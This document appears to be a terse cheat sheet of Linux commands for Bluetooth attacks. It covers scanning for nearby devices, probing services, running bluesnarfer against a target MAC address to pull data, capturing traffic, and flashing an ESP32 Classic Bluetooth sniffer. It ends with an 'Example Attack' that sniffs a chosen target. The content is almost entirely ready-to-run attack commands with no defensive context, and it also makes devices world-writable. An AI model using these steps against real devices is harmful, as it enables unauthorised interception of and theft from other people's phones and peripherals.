$ service bluetooth start
$ hciconfig
$ hcitool scan
$ hcitool inq
$ sdptool browse <mac address>
$ l2ping <mac address>
$ mkdir -p /dev/bluetooth/rfcomm
$ mknod -m 666 /dev/bluetooth/rfcomm/0 c 216 0
$ sudo bluesnarfer -c <channel> -b <mac address> <option>
–
$ tcpdump -i <bluetooth0> -w bluetooth_capture.pcap
$ tcpdump -D
–
$ bluetoothctl -h
$ gatttool -h
$ git clone https://github.com/Matheus-Garbelini/esp32_bluetooth_classic_sniffer
$ cd esp32_bluetooth_classic_sniffer
$ sudo ./requirements.sh
$ sudo ./build.sh
// ttyUSB0 might not be correct, use sudo dmesg to get path.
$ sudo chmod -R 777 /dev/ttyUSB0
$ ./firmware.py flash /dev/ttyUSB0
– Complete Flash to ESP32 Chip via Serial –
Usage: BTSnifferBREDR.py [OPTIONS]
Options:
–port TEXT Serial port name (/dev/ttyUSBx for Linux)
–host TEXT BDAddress of local host (default: E0:D4:E8:19:C7:68)
–target TEXT BDAddress of remote target (ex: a8:96:75:25:c2:ac)
–live-wireshark Opens Wireshark live session
–live-terminal Show a summary of each packet on terminal
–bridge-only Starts the HCI bridge without connecting any BT Host stack
–help Show this message and exit.
Example Attack
$ hcitool scan // get address
$ ./BTSnifferBREDR.py –port=/dev/ttyUSB0 –target=<BDAddress> –live-terminal –live-wireshark